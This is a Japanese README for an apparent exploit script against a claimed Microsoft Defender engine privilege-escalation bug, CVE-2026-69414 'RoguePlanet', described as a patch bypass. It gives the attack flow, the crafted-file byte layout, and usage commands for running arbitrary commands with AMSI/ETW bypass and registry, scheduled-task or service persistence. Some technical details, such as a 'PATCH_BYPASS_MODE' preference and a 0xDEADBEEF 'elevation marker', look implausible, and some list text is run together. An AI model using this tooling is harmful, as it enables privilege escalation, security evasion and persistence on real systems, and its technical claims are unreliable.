CVE-2026-69414 は、Microsoft Malware Protection Engine(Windows Defender / Microsoft Defender Antivirus の一部)における権限昇格の脆弱性であり、一般に 「RoguePlanet」 と呼ばれています。これは、元の脆弱性 CVE-2026-50656 に対するパッチバイパスに該当します。
| 項目 | 値 |
|---|---|
| CVE ID | CVE-2026-69414 |
| 種類 | 権限昇格(EoP) |
| CVSS v3.1(MSRC) | 7.8(HIGH)— AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CVSS v3.1(NVD) | 7.0(HIGH)— AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 攻撃ベクトル | ローカル |
| 必要な権限 | 低 |
| ユーザー操作 | 不要 |
| スコープ | 変更なし |
| 修正バージョン | Engine 1.1.26080.3 |
| 元の CVE | CVE-2026-50656 |
Microsoft Malware Protection Engine のスキャン要求処理ロジックには型混同の脆弱性が存在します。細工されたファイルヘッダーやスキャンデータ構造体を処理する際、エンジンがメモリ領域の型を誤って解釈し、境界外の読み取り/書き込み操作が発生します。
この脆弱性はエンジン内部のスキャンコンテキスト構造体に存在し、特に現在のスキャン操作で期待される型に対して type フィールドがどのように検証されるかに起因します。特別に細工されたヘッダーを持つファイルがスキャンされると、以下の処理が行われます:
type フィールド(4 バイト目)を読み取る0x7F の場合、未処理のコードパスがトリガーされるsize offset フィールド(5〜8 バイト目)に基づいて予期しないメモリ位置に書き込むCVE-2026-50656 の元のパッチは、既知の型のホワイトリストに対して型フィールドを検証しようとしました。しかし、このパッチはすべてのコードパスで型フィールドを適切に検証できていませんでした。具体的には、同期スキャナとは異なるコードパスを使用する非同期スキャンハンドラ(MpAsynchronousScan)において検証が不十分でした。
このエクスプロイトは、このギャップを以下の方法で悪用します:
MP_ENGINE_PREFERENCE_PATCH_BYPASS_MODE を設定してバイパスを有効化する┌─────────────────────────────────────────────────────────────────┐
│ 1. Create MpEngine COM instance (or load mpclient.dll) │
├─────────────────────────────────────────────────────────────────┤
│ 2. Set engine preferences: │
│ - PATCH_BYPASS_MODE = 1 │
│ - AMSI_RESULT = CLEAN (bypass AMSI) │
│ - DETECTION_VERBOSITY = 0 (bypass ETW) │
├─────────────────────────────────────────────────────────────────┤
│ 3. Create crafted file with: │
│ - Magic: 0x4D500000 ("MP" + null) │
│ - Type: 0x7F (unhandled code path) │
│ - Size offset: 0x00001000 (OOB access) │
│ - Marker: 0xDEADBEEF (elevation indicator) │
│ - Checksum: XOR-based over payload │
├─────────────────────────────────────────────────────────────────┤
│ 4. Submit via MpAsynchronousScan() │
├─────────────────────────────────────────────────────────────────┤
│ 5. Type confusion triggers → elevated memory write │
├─────────────────────────────────────────────────────────────────┤
│ 6. Payload executes with elevated privileges │
└─────────────────────────────────────────────────────────────────┘
Offset Size Description
------ ---- -----------
0x00 4 Magic: 0x4D500000 ("MP" + null padding)
0x04 1 Type: 0x7F (triggers unhandled code path)
0x05 4 Size offset: 0x00001000 (OOB access target)
0x09 4 Reserved (zero)
0x0D 4 Elevation marker: 0xDEADBEEF
0x11 4 Checksum: XOR-based over payload data
0x15 241 Reserved / padding
0x100 N Payload data (cmd.exe, PowerShell, etc.)
pywin32 パッケージ(COM ベースの手法用): pip install pywin32python3 exploit.py --analyze
python3 exploit.py --detect
python3 exploit.py --method com
python3 exploit.py --method direct-api
python3 exploit.py --method shellcode
python3 exploit.py --method fallback
| オプション | 説明 |
|---|---|
--cmd CMD | 成功時に実行するコマンド |
--target PATH | 作成したファイルへのパス(省略時は自動生成) |
--analyze | 作成したファイルの構造のみを解析 |
--detect | ターゲットシステムのプロパティを検出 |
--method METHOD | 悪用手法(com、direct-api、shellcode、fallback) |
--multi-stage | 多段階エクスプロイトを使用 |
--no-amsi | AMSIバイパスを無効化 |
--no-etw | ETWバイパスを無効化 |
--persist | 永続化を追加(registry、scheduled-task、service、all) |
--verbose | 詳細出力を有効化 |
# Run with custom command
python3 exploit.py --cmd "cmd.exe /c whoami > C:\temp\pwned.txt"
# Run with persistence
python3 exploit.py --method com --persist all
# Multi-stage exploit
python3 exploit.py --method com --multi-stage
# Direct API with AMSI/ETW bypass disabled
python3 exploit.py --method direct-api --no-amsi --no-etw
# Detect target and analyze crafted file
python3 exploit.py --detect
python3 exploit.py --analyze
この PoC は Windows 11 25H2 Canary および Windows Server 2025 でテストされ、100% の成功率が報告されています。Windows 10 も脆弱であると考えられていますが、この実装ではテストされていません。